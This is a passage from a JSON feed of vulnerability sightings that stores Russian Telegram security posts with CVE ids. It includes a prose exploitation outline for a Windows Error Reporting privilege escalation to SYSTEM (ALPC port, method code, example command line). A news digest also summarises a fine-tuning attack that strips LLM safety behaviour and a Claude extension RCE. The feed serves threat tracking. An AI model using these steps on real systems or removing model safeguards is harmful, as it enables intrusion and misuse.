\u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440/\u0445\u043e\u0441\u0442, \u0433\u0434\u0435 \u0437\u0430\u043f\u0443\u0449\u0435\u043d Semantic Kernel .NET SDK, \u043f\u0443\u0442\u0435\u043c \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c localFilePath \u0432 \u043c\u0435\u0442\u043e\u0434\u0430\u0445 DownloadFileAsync \u0438\u043b\u0438 UploadFileAsync. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0432 \u0440\u044f\u0434\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u0432 \u0434\u043e\u0431\u0438\u0432\u0430\u0442\u044c\u0441\u044f RCE \u0438\u043b\u0438 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u0430 AI-\u0430\u0433\u0435\u043d\u0442\u0430.\n\n\ud83c\udf1a @poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-02-16T07:16:25.000000Z"}, {"uuid": "82859628-753b-4f09-bd62-f376c3c11df3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "published-proof-of-concept", "source": "https://t.me/poxek/5940", "content": "\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0441 \u043d\u0443\u043b\u044f \u0434\u043e SYSTEM \u0447\u0435\u0440\u0435\u0437 WER\n#LPE #WER #Windows #CVE\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f CVE-2026-20817 \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Windows Error Reporting (WER) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043e\u0442 \u043d\u0438\u0437\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u043e NT AUTHORITY\\SYSTEM.\n\n\u267e\ufe0f\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0443\u0442\u044c\u267e\ufe0f\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 ALPC. \u0421\u043b\u0443\u0436\u0431\u0430 WER, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0430\u044f \u043e\u0442 SYSTEM, \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 \u043f\u043e\u0440\u0442 \\WindowsErrorReportingService \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u0430\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 CWerService::SvcElevatedLaunch \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b. \u041d\u0438\u0437\u043a\u043e\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c ALPC-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u043c\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443.\n\n\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0441\u043b\u0443\u0436\u0431\u0430:\n\n\u25aa\ufe0f \u0434\u0443\u0431\u043b\u0438\u0440\u0443\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c,\n\u25aa\ufe0f \u0447\u0438\u0442\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438,\n\u25aa\ufe0f \u043f\u0440\u0438 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u043e\u043a\u0435\u043d \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 fallback,\n\u25aa\ufe0f \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 SYSTEM-\u0442\u043e\u043a\u0435\u043d \u0447\u0435\u0440\u0435\u0437 CreateRestrictedToken, \u0443\u0434\u0430\u043b\u044f\u044f \u0442\u043e\u043b\u044c\u043a\u043e SeTcbPrivilege, \u043d\u043e \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438: SeDebugPrivilege, SeImpersonatePrivilege \u0438 SeBackupPrivilege. \n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441 WerFault.exe \u0438\u043b\u0438 WerMgr.exe \u0441 SYSTEM-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439.\n\n\u267e\ufe0f\u0418\u043c\u043f\u0430\u043a\u0442\u267e\ufe0f\n\n\u041f\u043e\u043b\u043d\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 SYSTEM (\u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f LPE).\n\n\u267e\ufe0f\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f\u267e\ufe0f\n\n\u25aa\ufe0f \u0421\u043e\u0437\u0434\u0430\u0442\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u043c\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c (CreateFileMapping, MapViewOfFile) \u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, cmd.exe /c whoami > C:\\poc_wer.txt).\n\n\u25aa\ufe0f \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a ALPC-\u043f\u043e\u0440\u0442\u0443 \\WindowsErrorReportingService \u0447\u0435\u0440\u0435\u0437 NtAlpcConnectPort / NtAlpcSendWaitReceivePort.\n\n\u25aa\ufe0f \u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 ALPC-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435: \u0442\u0438\u043f 0, \u043c\u0435\u0442\u043e\u0434 0x0D (WER_ELEVATED_LAUNCH_METHOD), \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u043c\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438, \u0434\u043b\u0438\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0438, PID \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u25aa\ufe0f \u041f\u043e\u0441\u043b\u0435 WER \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443: SvcElevatedLaunch \u2192 ElevatedProcessStart \u2192 CreateElevatedProcessAsUser.\n\n\u25aa\ufe0f Fallback-\u043b\u043e\u0433\u0438\u043a\u0430 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 SYSTEM-\u0442\u043e\u043a\u0435\u043d \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 CreateProcessAsUserW \u0441 WerFault.exe \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439.\n\n\ud83d\udd17\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 PoC\n\n\ud83c\udf1a @poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-02-24T12:32:22.000000Z"}, {"uuid": "3270fc0b-60cf-40e7-ba8f-5d35f4cf62ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/ctinow/246301", "content": "Cisco SD-WAN Zero-Day CVE-2026-20127 Exploited Since 2023 for Admin Access\nhttps://ift.tt/ek1ufdY", "creation_timestamp": "2026-02-26T06:34:44.000000Z"}, {"uuid": "3c48474e-6348-4512-aeae-7b91316ed79d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://t.me/true_secator/7911", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043d\u0430 \u043f\u044f\u0442\u043d\u0438\u0446\u0443 13-\u043e\u0433\u043e \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:\n\n1. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 287 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 \u0434\u043b\u044f Chrome, \u043f\u043e\u0445\u0438\u0449\u0430\u044e\u0449\u0438\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0431\u043e\u043b\u0435\u0435 37 \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u043e\u0432 \u0440\u0430\u0437.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0438\u0445 - \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0438 \u0440\u0435\u043a\u043b\u0430\u043c\u044b, \u0418\u0418-\u043f\u043e\u043c\u043e\u0449\u043d\u0438\u043a\u0438 \u0438 \u043e\u0444\u0438\u0441\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n2. LayerX \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438\u0437\u00a030 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 Chrome, \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u043f\u043e\u0434 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0418\u0418 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0441\u043a\u0440\u044b\u0442\u044b\u0435 iframe \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n3. Quarkslab \u043e\u0431\u0432\u0438\u043d\u0438\u043b\u0430 Intego \u0432 \u043e\u0442\u043a\u0430\u0437\u0435 \u043e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u044f\u0434\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f macOS, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e.\n\n3. RCE Security \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 PoC \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 W3 Total Cache \u0434\u043b\u044f WordPress - CVE-2025-9501. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435 WordPress.\n\n4. \u0420\u0430\u0441\u043a\u0440\u044b\u0442 \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0434\u0435\u0430\u043d\u043e\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 VPN \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u043f\u0438\u0441\u043a\u043e\u0432 \u0444\u0438\u043b\u044c\u0442\u0440\u043e\u0432 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0440\u0435\u043a\u043b\u0430\u043c\u044b, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0438\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0434\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u0441\u0442\u0440\u0430\u043d \u043f\u043e \u0434\u043e\u043c\u0435\u043d\u0430\u043c, \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c \u0432 \u0441\u043f\u0438\u0441\u043a\u0438 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u043e\u0432 \u0440\u0435\u043a\u043b\u0430\u043c\u044b. \n\n5. Microsoft \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u043c\u0435\u0442\u043e\u0434, \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0442\u043e\u043d\u043a\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 LLM \u043f\u043e\u0441\u043b\u0435 \u0438\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041d\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430\u0437\u0432\u0430\u043b\u0438 GRP-Obliteration\u00a0(\u043f\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044e \u043c\u0435\u0442\u043e\u0434\u0430 - Group Relative Policy Optimization (GRPO). \n\nMicrosoft \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0442\u0435\u0441\u0442\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0438 \u0440\u0430\u0441\u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 15 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u043d\u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0438\u0439 \u0434\u0435\u043d\u044c LLM, \u043e\u0442 DeepSeek \u0434\u043e GPT \u0438 Llama.\n\n6. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 LayerX \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 Claude Desktop Extensions (DXT), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c Google \u041a\u0430\u043b\u0435\u043d\u0434\u0430\u0440\u044c \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f Claude Desktop Extensions. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u0435\u0435 10 000 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 50 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 DXT.\n\n7. FIRST \u043f\u0440\u043e\u0433\u043d\u043e\u0437\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0433\u043e\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u043e\u043a\u043e\u043b\u043e 60 000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u042d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0439 \u0433\u043e\u0434 \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u0438, \u043a\u043e\u0433\u0434\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0430\u0445 \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u0442 \u043f\u043e\u0440\u043e\u0433 \u0432 50 000.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u043d\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u0445 \u043c\u043e\u0436\u0435\u0442 \u043e\u043a\u0430\u0437\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u0433\u043e\u0434\u0430 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 100 000.\n\n8. Positive Technologies \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0444\u0435\u0432\u0440\u0430\u043b\u044c\u0441\u043a\u0438\u0439 \u00ab\u0412 \u0442\u0440\u0435\u043d\u0434\u0435 VM\u00bb, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 \u0441\u0440\u0435\u0434\u0438 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0445: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a RCE, \u0432 Microsoft 365 \u0438 Microsoft Office (CVE-2026-21509) \u0438 \u043e\u0448\u0438\u0431\u043a\u0443, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0432 Desktop Window Manager (CVE-2026-20805).\n\n9. \u041a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u043e\u0433 Pwn2Own\u00a0\u043e\u0442 Zero Day Initiative - Tianfu Cup \u043f\u043e\u0441\u043b\u0435 \u0434\u0432\u0443\u0445\u043b\u0435\u0442\u043d\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0440\u044b\u0432\u0430 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432 2026 \u0433\u043e\u0434\u0443. \u041c\u0435\u0440\u043e\u043f\u0440\u0438\u044f\u0442\u0438\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043b\u043e\u0441\u044c 29-30 \u044f\u043d\u0432\u0430\u0440\u044f.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Natto Thoughts, \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0443\u044e\u0442\u0441\u044f \u041c\u041e\u0411 \u041a\u041d\u0420 \u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u0432 \u0435\u0449\u0435 \u0431\u043e\u043b\u0435\u0435 \u0437\u0430\u0441\u0435\u043a\u0440\u0435\u0447\u0435\u043d\u043d\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435.\n\n10. Microsoft \u0441\u0447\u0438\u0442\u0430\u0435\u0442, \u0447\u0442\u043e \u0432\u043d\u043e\u0432\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043f\u043e\u0434\u043c\u0435\u043d\u043e\u0439 LNK-\u043a\u043e\u0434\u0430 \u0432 Windows - \u044d\u0442\u043e \u043d\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \n\n\u041d\u0430 \u0444\u0435\u0441\u0442\u0438\u0432\u0430\u043b\u0435 Wild West Hackin' Fest \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0412\u0438\u0442\u0446\u0435 \u0411\u0435\u0443\u043a\u0435\u043c\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e 